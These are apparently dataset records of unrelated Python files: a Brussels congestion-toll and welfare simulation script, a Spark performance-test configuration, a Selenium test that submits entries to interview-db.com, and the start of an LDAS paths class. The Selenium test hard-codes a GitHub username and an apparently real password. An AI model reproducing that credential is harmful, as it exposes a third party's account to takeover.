f2.write(r2.content) \n#####################################################\n# take link_result.tsv to calculate toll\nlinkresults = pandas.read_csv(\"link_results.tsv\", sep=\"\\t\")\n# need user_results.tsv for calculation of welfare\nuserresults = pandas.read_csv(\"user_results.tsv\", sep=\"\\t\")\n###################################################\nmainzone = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\mainzone.csv\", sep=\";\")\n# calculate welfare (group specific)\nuserresults1 = pandas.merge(userresults,mainzone,left_on=\"origin\",right_on=\"ZONE\")\nuserresults2 = pandas.merge(userresults1,mainzone,left_on=\"destination\",right_on=\"ZONE\")\nuserresultsB = userresults2[userresults2.MAINZONE_x==1]\nuserresultsW = userresults2[userresults2.MAINZONE_x==2]\nuserresultsF = userresults2[userresults2.MAINZONE_x==3]\n#userresultsW2B = userresults2[userresults2.MAINZONE_x==2 & userresults2.MAINZONE_y==1]\n#userresultsF2B = userresults2[userresults2.MAINZONE_x==3 & userresults2.MAINZONE_y==1]\n#####################################################\n#####################################################\nnodes_on = pandas.read_csv(r\"D:\\METROPOLIS\\input_NETWORK\\nodes_n.csv\", sep=\",\")\nnodes_on1 = pandas.merge(links_mainzone, nodes_on, how='outer',\n left_on=['FROMNODENO'],\n right_on=['node_old'])\nnodes_on2 = pandas.merge(nodes_on1, nodes_on, how='outer',\n left_on=['TONODENO'],\n right_on=['node_old'])\n\nlinks_on = pandas.merge(nodes_on2, links, how='inner',\n left_on=['node_new_x','node_new_y'],\n right_on=['origin','destination'])\n#####################################################\n\n## identify the links which has origin in 3 and destination in 1\nnode_region = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\node_region.csv\", sep=\",\")\nnode_region1 = pandas.merge(links_on, node_region, how='outer',\n left_on=['node_old_x'],\n right_on=['NO'])\nnode_region2 = pandas.merge(node_region1, node_region, how='outer',\n left_on=['node_old_y'],\n right_on=['NO'])\ndlink = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\dlink.tsv\", sep=\"\\t\")\n\nmatchnode = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\input\\wid_n_intersection.tsv\", sep=\"\\t\")\nnodes=pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\nodes.csv\", sep=\";\",encoding='ISO-8859-1')\nrnodes=pandas.merge(matchnode,nodes[[\"NODE:NO\",\"PROVINCIE\"]],left_on=\"NodeNo\",right_on=\"NODE:NO\")\nclink=pandas.merge(dlink,rnodes[[\"2000\",\"PROVINCIE\"]],left_on=\"origin\",right_on=\"2000\")\nclink1=pandas.merge(clink,rnodes[[\"2000\",\"PROVINCIE\"]],left_on=\"destination\",right_on=\"2000\")\n\nclink1['PROVINCIE_x'].fillna(\"unknown\",inplace=True)\ndftoll2=clink1[clink1.PROVINCIE_x!=\"BRUSSEL\"]\ndftoll2=dftoll2[dftoll2.PROVINCIE_x!=\"unknown\"]\ndftoll2=dftoll2[dftoll2.PROVINCIE_y==\"BRUSSEL\"]\n#dftoll2[\"traveler_type\"]=1 #cars only?\ndftoll2[\"values\"]=\"0,4,0\" #how much cordon?\ndftoll2[\"times\"]= \"420,540\"\ndftoll2.rename({'id':'link'}, axis='columns',inplace=True)\n#dftoll2[['link','values','times']].to_csv(r\"D:\\METROPOLIS\\Brussels calibration\\cordon400.tsv\",sep=\"\\t\",index=False)\n#in total, 215 links are tolled.\n#####################################################\n#####################################################\n# calculate welfare\nwelfare=[] #welfare with refund of toll revenue\nwelfareno=[] #welfare without refund of toll revenue\ncs=[] #only add consumer surplus of all users\ntrucks=[]\nwork=[]\nnwork=[]\nrevenue=[]\nextCost=[]\nrevfromB=[]\ncsB=[]\nrevfromF=[]\ncsF=[]\nrevfromW=[]\ncsW=[]\ntrucks.append(userresults.travelerType.value_counts()['trucks'])\nprint(trucks)\nwork.append(userresults.travelerType.value_counts()['W'])\nprint(work)\nnwork.append(userresults.travelerType.value_counts()['N'])\nprint(nwork)\nwelfare.append(sum(userresults['surplus'])+sum(userresults['fee'])-float(mileage)*100000*float(ext)) \nprint(welfare)\nwelfareno.append(sum(userresults['surplus'])-float(mileage)*100000*float(ext))\nprint(welfareno)\ncs.append(sum(userresults['surplus']))\nprint(cs)\nrevenue.append(sum(userresults['fee']))\nprint(revenue)\nextCost.append(float(mileage)*100000*float(ext))\nprint(extCost)\n######### WELFARE Brussels #############################\nrevfromB.append(sum(userresultsB['fee'])) \nprint(revfromB)\ncsB.append(sum(userresultsB['surplus']))\nprint(csB)\ncsB[0]+revenue[0]\n######### WELFARE Flanders #############################\nrevfromF.append(sum(userresultsF['fee'])) \nprint(revfromF)\ncsF.append(sum(userresultsF['surplus']))\nprint(csF)\n######### WELFARE W #############################\nrevfromW.append(sum(userresultsW['fee'])) \nprint(revfromW)\ncsW.append(sum(userresultsW['surplus']))\nprint(csW)\n\n\n#####################################################\nworkbook = xlsxwriter.Workbook('csEnter300.xlsx')\nworksheet = workbook.add_worksheet()\narray = [welfareno,\n welfare,\n revenue,\n csB,\n revfromB,\n csF,\n revfromF,\n csW,\n revfromW,\n cs,\n trucks,\n work,\n nwork,\n extCost]\nrow = 0\nfor col, data in enumerate(array):\n worksheet.write_column(row, col, data)\nworkbook.close()\n#####################################################\n############################################################################\n############################################################################\n#### fine toll ####\n\"\"\"How this toll setting script works:\n \"read the link_results.tsv file (contains link specific results: inflow\n outflow of each link in each interval and in each direction) \n pick the information on congestion (inflow and outflow) of links, \n add a toll for a certain interval according to a rule,\n write this in a toll.tsv file (link,values,times,traveler_type)\n REMEMBER TO MAKE SIMULATION PUBLIC (NO LOGIN REQUIRED)\n \"\"\"\n############################################################################### \nimport requests #for taking tsv files from metro-web\nimport pandas #dataframe tool\nimport numpy as np # array tool\n#import scipy.sparse as sparse\n#from selenium import webdriver #for taking particular cell in the metro-web aggregate result table\n\n#################### NEED ONLY ONCE # create list #compute link occupancy \nlinkinfo = pandas.read_csv(r\"D:\\METROPOLIS\\Brussels calibration\\dlink.tsv\", sep=\"\\t\")\nlinkinfo['maxval']='' \nfor row in linkinfo.itertuples(): #for loop is to be avoided but itertupeles is faster\n linkinfo['maxval']=linkinfo['lanes']*linkinfo['length']*linkinfo['capacity']*10/linkinfo['speed']\n##########################################\n# START HERE FOR RUN>1\n#########################################\nrun=9715 #the run number shown on metro-web\n#url0 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run) # the number in the middle is your own simulation number\n#driver = webdriver.Chrome(executable_path=r\"/Volumes/Samsung_T5/METROPOLIS/metro/chromedriver\") \n#driver.get(url0)\n#mileage=driver.find_element_by_xpath(\"//html/body/div[1]/div[1]/div/table/tbody/tr[1]/td[10]\").text\n#driver.close()\n\n#####################change before run\nmileage = 2.68209\next =0.04\nstep=1\nalpha=14.5 \n########################################################################\ninterval = 15\ndimin = 4* 6 #for 15min interval, 6 hours\n#########################################################################\n#url00 = \"https://metropolis.sauder.ubc.ca/174/run/2081/user_output\" \nurl1 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/link_output\" \n#first no is the simulation number and second is the run number\n#loop over the run number for each iteration\nurl2 = \"https://metropolis.sauder.ubc.ca/174/run/\"+str(run)+\"/user_output\" \n\n#r00 = requests.get(url00)\nr1 = requests.get(url1) # create HTTP response object \nr2 = requests.get(url2)\n\n#with open(\"user_results.tsv\",'wb') as f00: \n# f00.write(r00.content)\n#userresults00 = pandas.read_csv(\"user_results.tsv\", sep=\"\\t\") \n\nwith open(\"link_results.tsv\",'wb') as f1: \n f1.write(r1.content) \nwith open(\"user_results.tsv\",'wb') as f2: \n f2.write(r2.content) \n#####################################################\n# take link_result.tsv to calculate toll\nlinkresults = pandas.read_csv(\"link_results.tsv\", sep=\"\\t\")\n# need user_results.tsv for calculation of welfare\nuserresults = pandas.read_csv(\"user_results.tsv\", sep=\"\\t\")\n###################################################\nwelfare=[]\nwelfareno=[]\ncs=[]\nextCost=[]\n# calculate welfare\nwelfare.append(sum(userresults['surplus'])+sum(userresults['fee'])-float(mileage)*100000*0.04) \nprint(welfare)\nwelfareno.append(sum(userresults['surplus'])-float(mileage)*100000*0.04)\nprint(welfareno)\ncs.append(sum(userresults['surplus']))\nprint(cs)\nextCost.append(float(mileage)*100000*float(ext))\nprint(extCost)\n\nlinkresults.to_numpy\nlinkinfo.to_numpy\nlinkresults1 = np.array(linkresults)\nlinkinfo1 = np.array(linkinfo)\n#or########################################################################\n#create zero matrix for initial toll\n##################OR#######################################################\n##################OR#######################################################\nptoll=np.zeros((len(linkresults),dimin))\n##################OR#######################################################\nptoll0 = pandas.read_csv(r\"D:\\METROPOLIS\\finetoll_9713.csv\", sep=\",\",header=None)\n#2207,8231,8423,8876,9080,9081,9082\n#cap75, 9084\nptoll=ptoll0\nptoll = ptoll.to_numpy()\n##################OR#######################################################\n##################OR#######################################################\n#########################################################################\nocc = []\nfor t in range(1,dimin+1):\n occ1 = linkresults1[:,1*dimin+t]-linkresults1[:,3*dimin+t]\n occ.append(occ1)\nfor t in range(1,dimin):\n for i in range(0,len(linkresults1)):\n occ[t][i] = occ[t][i] + occ[t-1][i]\nocc=np.asarray(occ) \nocct=occ.transpose()\n#########################################################################\nptoll1=[]\nptoll0=[]\nfor t in range(1,dimin+1):\n #a = ptoll[:,t-1]+(step*alpha*(linkinfo1[:,3]/linkinfo1[:,4]*(\n #linkresults1[:,t]-(linkinfo1[:,9]/3))/(linkinfo1[:,9]/3))) \n a = ptoll[:,t-1]+(step*alpha*(linkinfo1[:,3]/linkinfo1[:,4]*(\n occt[:,t-1]-(linkinfo1[:,9]))/(linkinfo1[:,9]))) \n a = a.clip(min=0)\n ptoll0 = np.concatenate((ptoll0,a),axis=0)\nptoll0 = np.reshape(ptoll0,(len(linkresults),dimin))\n\nnp.savetxt(r\"D:\\METROPOLIS\\finetoll_\"+str(run)+\".csv\", ptoll0, delimiter=\",\")\n#########################################################################\n \nx = np.zeros(len(linkresults))\nptoll1=np.column_stack((x,ptoll0,x))\n\nlinkresults['ptollval'] = ptoll1.tolist()\nlinkresults['ptollval'] = linkresults['ptollval'].astype(str).str[1:-1]\nlinkresults['ptolltimes']='' \n\nfor t in range(0,dimin+1):\n linkresults['ptolltimes']+=str(300+t*interval)+','\nlinkresults['ptolltimes']=linkresults['ptolltimes'].astype(str).str[:-1]\n#########################################################################\n#########################################################################\n# form a dict for ptolltimes and ptollval? if ptollval==0, delete ptolltimes\n#########################################################################\n#########################################################################\n#create toll.tsv\nlinkresults = linkresults.rename(columns = {\"ptollval\": \"values\",\"ptolltimes\":\"times\"})\nheader = ['link', 'values', 'times']\nlinkresults.to_csv(r\"D:\\METROPOLIS\\finetoll_\"+str(run)+\".tsv\", sep=\"\\t\",index=False,columns = header)\n\n########################################\n#### toll cap #########################\n########################################\ntollcap = 0.75\ntollcap = 0.5\n#run 9081 at max, toll script at 9080 is best\nrun=9080\nptollcap0 = pandas.read_csv(r\"D:\\METROPOLIS\\finetoll_\"+str(run)+\".csv\", sep=\",\",header=None)\nptollcap = ptollcap0*tollcap\n\nx = np.zeros(len(linkresults))\nptollcap1=np.column_stack((x,ptollcap,x))\n\nlinkresults['ptollval'] = ptollcap1.tolist()\nlinkresults['ptollval'] = linkresults['ptollval'].astype(str).str[1:-1]\nlinkresults['ptolltimes']='' \n\nfor t in range(0,dimin+1):\n linkresults['ptolltimes']+=str(300+t*interval)+','\nlinkresults['ptolltimes']=linkresults['ptolltimes'].astype(str).str[:-1]\n\n#create toll.tsv\nlinkresults = linkresults.rename(columns = {\"ptollval\": \"values\",\"ptolltimes\":\"times\"})\nheader = ['link', 'values', 'times']\nlinkresults.to_csv(r\"D:\\METROPOLIS\\finetollCap75_\"+str(run)+\".tsv\", sep=\"\\t\",index=False,columns = header)\n\n\n#########################################################################\n#########################################################################\nusermerged=pandas.merge(userresults00[['origin','destination','travelerType','surplus','fee','td','ta']], userresults[['origin','destination','travelerType','surplus','fee','td','ta']], on=['origin','destination','travelerType'], how='inner')\nusermerged1=usermerged[usermerged.fee_x == 0]\nusermerged['gainQ'] = np.where(usermerged['surplus_y']-usermerged['surplus_x']>0, 1, 0)\ngainers.append(sum(usermerged['gainQ']))\nusermerged['losers']=usermerged['surplus_y']-usermerged['surplus_x']\nusermerged['tt_x']=usermerged['ta_x']-usermerged['td_x']\nusermerged['tt_y']=usermerged['ta_y']-usermerged['td_y']\nusergainers= usermerged[usermerged.origin==1146]\nusergainers= usergainers[usergainers.destination==1158]\nusergainers.mean(axis=0)\n\nimport matplotlib.pyplot as plt\nusergainers['td_x']=300+usergainers['td_x']/60\nusergainers['td_y']=300+usergainers['td_y']/60\n\nplt.hist(usergainers['td_x'],bins=[300,305,310,315,320,325,330,335,340,345,350,355,360,\n 365,370,375,380,385,390,395,400,405,410,415,420,425,430,435,440,445,450,455,\n 460,465,470,475,480,485,490,495,500,505,510,515,520,525,530,535,540,545,550,\n 555,560,565,570,575,580,585,590,595,600,605,610,615,620,625,630,635,640,645,\n 650,655,660])\n##plt.hist(usergainers['td_y'],bins=[300,305,310,315,320,325,330,335,340,345,350,355,360,\n# 365,370,375,380,385,390,395,400,405,410,415,420,425,430,435,440,445,450,455,\n# 460,465,470,475,480,485,490,495,500,505,510,515,520,525,530,535,540,545,550,\n# 555,560,565,570,575,580,585,590,595,600,605,610,615,620,625,630,635,640,645,\n# 650,655,660])\nplt.xlabel('departure time', fontsize=16)\nplt.ylabel('frequency',fontsize=16)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.title('departure time:before')\nplt.grid(True)\nfig = plt.gcf()\nplt.show()\nfig.savefig('/Users/username/Desktop/depart1146_pre.png')\n\nplt.hist(usergainers['td_y'],bins=[300,305,310,315,320,325,330,335,340,345,350,355,360,\n 365,370,375,380,385,390,395,400,405,410,415,420,425,430,435,440,445,450,455,\n 460,465,470,475,480,485,490,495,500,505,510,515,520,525,530,535,540,545,550,\n 555,560,565,570,575,580,585,590,595,600,605,610,615,620,625,630,635,640,645,\n 650,655,660])\nplt.xlabel('departure time', fontsize=16)\nplt.ylabel('frequency',fontsize=16)\nplt.xticks(fontsize=14)\nplt.yticks(fontsize=14)\nplt.title('departure time:after')\nplt.grid(True)\nfig = plt.gcf()\nplt.show()\nfig.savefig('/Users/username/Desktop/depart1146_post.png')","sub_path":"aa_new_tolls_n15.py","file_name":"aa_new_tolls_n15.py","file_ext":"py","file_size_in_byte":28555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"267384863","text":"\"\"\"\nConfiguration options for running Spark performance tests.\n\nWhen updating `spark-perf`, you should probably use `diff` to compare the updated template to\nyour modified `config.py` file and copy over any new configurations.\n\"\"\"\n\nimport time\nimport os\nimport os.path\nimport socket\n\nfrom config_utils import FlagSet, JavaOptionSet, OptionSet, ConstantOption\n\n\n# ================================ #\n# Standard Configuration Options #\n# ================================ #\n\n# Point to an installation of Spark on the cluster.\nSPARK_HOME_DIR = \"/usr/local/spark\"\n\n# Use a custom configuration directory\nSPARK_CONF_DIR = SPARK_HOME_DIR + \"/conf\"\n\n# Master used when submitting Spark jobs.\n# For local clusters: \"spark://%s:7077\" % socket.gethostname()\n# For Yarn clusters: \"yarn\"\n# Otherwise, the default uses the specified EC2 cluster\n# SPARK_CLUSTER_URL = \"local[*]\"\nSPARK_CLUSTER_URL = \"spark://192.168.56.103:7077\"\n\n\n# Specify URI to download spark executor. This only applied for running with Mesos.\n#SPARK_EXECUTOR_URI = \"http://localhost:8000/spark.tgz\"\n\n# Path to the Mesos native library. This is only required for running with Mesos.\n#MESOS_NATIVE_LIBRARY = \"/usr/local/lib/libmesos.so\"\n\n# Run Mesos client in coarse or fine grain mode. This is only applied for running with Mesos.\n#SPARK_MESOS_COARSE = True\n\n\n# If this is true, we'll submit your job using an existing Spark installation.\n# If this is false, we'll clone and build a specific version of Spark, and\n# copy configurations from your existing Spark installation.\nUSE_CLUSTER_SPARK = True\n\n# URL of the HDFS installation in the Spark EC2 cluster\nHDFS_URL = \"hdfs://%s:9000/test/\" % socket.gethostname()\n\n# Set the following if not using existing Spark installation\n# Commit id and repo used if you are not using an existing Spark cluster\n# custom version of Spark. The remote name in your git repo is assumed\n# to be \"origin\".\n#\n# The commit ID can specify any of the following:\n# 1. A git commit hash e.g. \"4af93ff3\"\n# 2. A branch name e.g. \"origin/branch-0.7\"\n# 3. A tag name e.g. \"origin/tag/v0.8.0-incubating\"\n# 4. A pull request e.g. \"origin/pr/675\"\nSPARK_COMMIT_ID = \"\"\nSPARK_GIT_REPO = \"https://github.com/apache/spark.git\"\nSPARK_MERGE_COMMIT_INTO_MASTER = False # Whether to merge the commit into master\n\n# Whether to install and build Spark. Set this to true only for the\n# first installation if an existing one does not already exist.\nPREP_SPARK = not USE_CLUSTER_SPARK\n\n# Whether to restart the Master and all Workers\n# This should always be false for Yarn\nRESTART_SPARK_CLUSTER = True\n\n# Rsync SPARK_HOME to all the slaves or not\nRSYNC_SPARK_HOME = True\n\n# Which tests to run\nRUN_PI_VALUE_TESTS = True\nRUN_SPARK_TESTS = False\nRUN_PYSPARK_TESTS = False\n\n# Which tests to prepare. Set this to true for the first\n# installation or whenever you make a change to the tests.\nPREP_SPARK_TESTS = False\nPREP_PYSPARK_TESTS = False\n\n\n# Prompt for confirmation when deleting temporary files.\nPROMPT_FOR_DELETES = True\n\n# Files to write results to\nPI_VALUE_OUTPUT_FILENAME = \"results/streaming_perf_output_%s_%s\" % (\n SPARK_COMMIT_ID.replace(\"/\", \"-\"), time.strftime(\"%Y-%m-%d_%H-%M-%S\"))\nSPARK_OUTPUT_FILENAME = \"results/spark_perf_output_%s_%s\" % (\n SPARK_COMMIT_ID.replace(\"/\", \"-\"), time.strftime(\"%Y-%m-%d_%H-%M-%S\"))\nPYSPARK_OUTPUT_FILENAME = \"results/python_perf_output_%s_%s\" % (\n SPARK_COMMIT_ID.replace(\"/\", \"-\"), time.strftime(\"%Y-%m-%d_%H-%M-%S\"))\n\n\n\n\n# ============================ #\n# Test Configuration Options #\n# ============================ #\n\n# The default values configured below are appropriate for approximately 20 m1.xlarge nodes,\n# in which each node has 15 GB of memory. Use this variable to scale the values (e.g.\n# number of records in a generated dataset) if you are running the tests with more\n# or fewer nodes. When developing new test suites, you might want to set this to a small\n# value suitable for a single machine, such as 0.001.\nSCALE_FACTOR = 0.005\n\nassert SCALE_FACTOR > 0, \"SCALE_FACTOR must be > 0.\"\n\n# If set, removes the first N trials for each test from all reported statistics. Useful for\n# tests which have outlier behavior due to JIT and other system cache warm-ups. If any test\n# returns fewer N + 1 results, an exception is thrown.\nIGNORED_TRIALS = 2\n\n# Command used to launch Scala or Java.\n\n# Set up OptionSets. Note that giant cross product is done over all JavaOptionsSets + OptionSets\n# passed to each test which may be combinations of those set up here.\n\n# Java options.\nCOMMON_JAVA_OPTS = [\n # Fraction of JVM memory used for caching RDDs.\n JavaOptionSet(\"spark.storage.memoryFraction\", [0.66]),\n JavaOptionSet(\"spark.serializer\", [\"org.apache.spark.serializer.JavaSerializer\"]),\n JavaOptionSet(\"spark.executor.memory\", [\"2g\"]),\n # Turn event logging on in order better diagnose failed tests. Off by default as it crashes\n # releases prior to 1.0.2\n # JavaOptionSet(\"spark.eventLog.enabled\", [True]),\n # To ensure consistency across runs, we disable delay scheduling\n JavaOptionSet(\"spark.locality.wait\", [str(60 * 1000 * 1000)])\n]\n# Set driver memory here\nSPARK_DRIVER_MEMORY = \"3g\"\n# The following options value sets are shared among all tests.\nCOMMON_OPTS = [\n # How many times to run each experiment - used to warm up system caches.\n # This OptionSet should probably only have a single value (i.e., length 1)\n # since it doesn't make sense to have multiple values here.\n OptionSet(\"num-trials\", [10]),\n # Extra pause added between trials, in seconds. For runs with large amounts\n # of shuffle data, this gives time for buffer cache write-back.\n OptionSet(\"inter-trial-wait\", [3])\n]\n\n# The following options value sets are shared among all tests of\n# operations on key-value data.\nSPARK_KEY_VAL_TEST_OPTS = [\n # The number of input partitions.\n OptionSet(\"num-partitions\", [400], can_scale=True),\n # The number of reduce tasks.\n OptionSet(\"reduce-tasks\", [400], can_scale=True),\n # A random seed to make tests reproducable.\n OptionSet(\"random-seed\", [5]),\n # Input persistence strategy (can be \"memory\", \"disk\", or \"hdfs\").\n # NOTE: If \"hdfs\" is selected, datasets will be re-used across runs of\n # this script. This means parameters here are effectively ignored if\n # an existing input dataset is present.\n OptionSet(\"persistent-type\", [\"memory\"]),\n # Whether to wait for input in order to exit the JVM.\n FlagSet(\"wait-for-exit\", [False]),\n # Total number of records to create.\n OptionSet(\"num-records\", [200 * 1000 * 1000], True),\n # Number of unique keys to sample from.\n OptionSet(\"unique-keys\",[20 * 1000], True),\n # Length in characters of each key.\n OptionSet(\"key-length\", [10]),\n # Number of unique values to sample from.\n OptionSet(\"unique-values\", [1000 * 1000], True),\n # Length in characters of each value.\n OptionSet(\"value-length\", [10]),\n # Use hashes instead of padded numbers for keys and values\n FlagSet(\"hash-records\", [False]),\n # Storage location if HDFS persistence is used\n OptionSet(\"storage-location\", [\n HDFS_URL + \"/spark-perf-kv-data\"])\n]\n\n\n# ======================= #\n# Pi Value Test Setup #\n# ======================= #\n\n# Set up the actual tests. Each test is represtented by a tuple:\n# (short_name, test_cmd, scale_factor, list, list)\n# Values can be given from 100 to 10000000 and more\n\nPIVALUE_TEST = []\nPIVALUE_TEST += [(\"python-pi-value-test\", \"piValue.py\",\n SCALE_FACTOR, COMMON_JAVA_OPTS,\n [ConstantOption(\"Valueofpi\"), OptionSet(\"num-tasks\", [10000000])] + COMMON_OPTS)]\n\n\n\n# ======================= #\n# Spark Core Test Setup #\n# ======================= #\n\n# Set up the actual tests. Each test is represtented by a tuple:\n# (short_name, test_cmd, scale_factor, list, list)\n\nSPARK_KV_OPTS = COMMON_OPTS + SPARK_KEY_VAL_TEST_OPTS\nSPARK_TESTS = []\n\nSCHEDULING_THROUGHPUT_OPTS = [\n # The number of tasks that should be launched in each job:\n OptionSet(\"num-tasks\", [10 * 1000]),\n # The number of jobs that should be run:\n OptionSet(\"num-jobs\", [1]),\n # The size of the task closure (in bytes):\n OptionSet(\"closure-size\", [0]),\n # A random seed to make tests reproducible:\n OptionSet(\"random-seed\", [5]),\n]\n\nSPARK_TESTS += [(\"scheduling-throughput\", \"spark.perf.TestRunner\",\n SCALE_FACTOR, COMMON_JAVA_OPTS,\n [ConstantOption(\"scheduling-throughput\")] + COMMON_OPTS + SCHEDULING_THROUGHPUT_OPTS)]\n\nSPARK_TESTS += [(\"scala-agg-by-key\", \"spark.perf.TestRunner\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"aggregate-by-key\")] + SPARK_KV_OPTS)]\n\n# Scale the input for this test by 2x since ints are smaller.\nSPARK_TESTS += [(\"scala-agg-by-key-int\", \"spark.perf.TestRunner\", SCALE_FACTOR * 2,\n COMMON_JAVA_OPTS, [ConstantOption(\"aggregate-by-key-int\")] + SPARK_KV_OPTS)]\n\nSPARK_TESTS += [(\"scala-agg-by-key-naive\", \"spark.perf.TestRunner\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"aggregate-by-key-naive\")] + SPARK_KV_OPTS)]\n\n# Scale the input for this test by 0.10.\nSPARK_TESTS += [(\"scala-sort-by-key\", \"spark.perf.TestRunner\", SCALE_FACTOR * 0.1,\n COMMON_JAVA_OPTS, [ConstantOption(\"sort-by-key\")] + SPARK_KV_OPTS)]\n\nSPARK_TESTS += [(\"scala-sort-by-key-int\", \"spark.perf.TestRunner\", SCALE_FACTOR * 0.2,\n COMMON_JAVA_OPTS, [ConstantOption(\"sort-by-key-int\")] + SPARK_KV_OPTS)]\n\nSPARK_TESTS += [(\"scala-count\", \"spark.perf.TestRunner\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"count\")] + SPARK_KV_OPTS)]\n\nSPARK_TESTS += [(\"scala-count-w-fltr\", \"spark.perf.TestRunner\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"count-with-filter\")] + SPARK_KV_OPTS)]\n\n\n# ==================== #\n# Pyspark Test Setup #\n# ==================== #\n\nPYSPARK_TESTS = []\n\nBROADCAST_TEST_OPTS = [\n # The size of broadcast\n OptionSet(\"broadcast-size\", [200 << 20], can_scale=True),\n]\n\nPYSPARK_TESTS += [(\"python-scheduling-throughput\", \"core_tests.py\",\n SCALE_FACTOR, COMMON_JAVA_OPTS,\n [ConstantOption(\"SchedulerThroughputTest\"), OptionSet(\"num-tasks\", [5000])] + COMMON_OPTS)]\n\nPYSPARK_TESTS += [(\"python-agg-by-key\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"AggregateByKey\")] + SPARK_KV_OPTS)]\n\n# Scale the input for this test by 2x since ints are smaller.\nPYSPARK_TESTS += [(\"python-agg-by-key-int\", \"core_tests.py\", SCALE_FACTOR * 2,\n COMMON_JAVA_OPTS, [ConstantOption(\"AggregateByKeyInt\")] + SPARK_KV_OPTS)]\n\nPYSPARK_TESTS += [(\"python-agg-by-key-naive\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"AggregateByKeyNaive\")] + SPARK_KV_OPTS)]\n\n# Scale the input for this test by 0.10.\nPYSPARK_TESTS += [(\"python-sort-by-key\", \"core_tests.py\", SCALE_FACTOR * 0.1,\n COMMON_JAVA_OPTS, [ConstantOption(\"SortByKey\")] + SPARK_KV_OPTS)]\n\nPYSPARK_TESTS += [(\"python-sort-by-key-int\", \"core_tests.py\", SCALE_FACTOR * 0.2,\n COMMON_JAVA_OPTS, [ConstantOption(\"SortByKeyInt\")] + SPARK_KV_OPTS)]\n\nPYSPARK_TESTS += [(\"python-count\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"Count\")] + SPARK_KV_OPTS)]\n\nPYSPARK_TESTS += [(\"python-count-w-fltr\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"CountWithFilter\")] + SPARK_KV_OPTS)]\n\nPYSPARK_TESTS += [(\"python-broadcast-w-bytes\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"BroadcastWithBytes\")] + SPARK_KV_OPTS + BROADCAST_TEST_OPTS)]\n\nPYSPARK_TESTS += [(\"python-broadcast-w-set\", \"core_tests.py\", SCALE_FACTOR,\n COMMON_JAVA_OPTS, [ConstantOption(\"BroadcastWithSet\")] + SPARK_KV_OPTS + BROADCAST_TEST_OPTS)]\n\n\n","sub_path":"config/configPiValue.py","file_name":"configPiValue.py","file_ext":"py","file_size_in_byte":11714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"164798718","text":"from django.test import TestCase\nfrom selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait, Select\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom .forms import CoverLetterForm, UserDetailForm\nfrom .models import Job, UserDetail\nfrom django.core.exceptions import ValidationError\nfrom selenium.webdriver.common.keys import Keys\nfrom random_word import RandomWords\nfrom selenium.webdriver import ActionChains\n\nclass FunctionalTestCase(TestCase):\n def setUp(self):\n self.browser = webdriver.Chrome()\n\n def test_submitting_to_interviewdb(self):\n self.browser.get('https://www.interview-db.com/')\n if self.browser.find_element_by_link_text('Student Sign in with Github'):\n self.browser.find_element_by_link_text(\n 'Student Sign in with Github').click()\n self.browser.find_element_by_id(\n 'login_field').send_keys('Micjoey')\n self.browser.find_element_by_id(\n 'password').send_keys('v2CAMjBdOf1lQ09DoIXuQ')\n # self.browser.find_element_by_link_text('Sign in').click()\n self.browser.find_element_by_class_name(\n 'btn-block').click()\n WebDriverWait(self.browser, 10).until(EC.url_changes(self.browser))\n self.browser.get('https://www.interview-db.com/')\n self.browser.find_element_by_id('react-tabs-2').click()\n if WebDriverWait(self.browser, 10).until(EC.element_to_be_clickable((By.CLASS_NAME, 'btn'))):\n self.browser.find_elements_by_class_name('btn')[5].click()\n # find the Job Title input field\n title = self.browser.find_element_by_id(\n 'root_applications_0_jobTitle')\n title.click()\n title.send_keys('test')\n #\n # find the company field and create it or select\n actions = ActionChains(self.browser)\n companyButton = self.browser.find_elements_by_class_name(\n 'css-1hwfws3')[0]\n actions.click(companyButton)\n actions.send_keys('hello')\n actions.pause(2)\n actions.send_keys(Keys.UP)\n actions.send_keys(Keys.ENTER)\n actions.perform()\n #\n # find the source field and create or select\n sourceButton = self.browser.find_elements_by_class_name(\n 'css-1hwfws3')[1]\n actions.reset_actions()\n actions.click(sourceButton)\n actions.send_keys('hello2')\n actions.pause(2)\n actions.send_keys(Keys.UP)\n actions.send_keys(Keys.ENTER)\n actions.perform()\n #\n self.browser.find_element_by_id('daily-report-submit').click()\n\n def tearDown(self):\n self.browser.quit()\n","sub_path":"tests/submit_to_interviewdb.py","file_name":"submit_to_interviewdb.py","file_ext":"py","file_size_in_byte":2863,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"429463656","text":"\nimport os\nimport platform\n\nclass paths(object):\n \"\"\"\n Class holding the most important LDAS path definitions\n\n Parameters\n ----------\n root : string\n root path to the experiment directory\n exp : string\n experiment name (appended to root path)\n domain : string\n domain name (appended to experiment path)\n\n Attributes\n ----------\n exp_root : string\n root path for the experiment (including experiment and domain names)\n scalefile_root : string\n root path to the scaling files (!!currently not correct for the HPC!!)\n ana : string\n Path to DA analysis output\n cat : string\n Path to catchment model output\n rc_out : string\n Path to ancillary output (grid definitions, log files etc.)\n rs : string\n Path to restart files (for continuing processing or spin-up)\n plots : string\n Path to 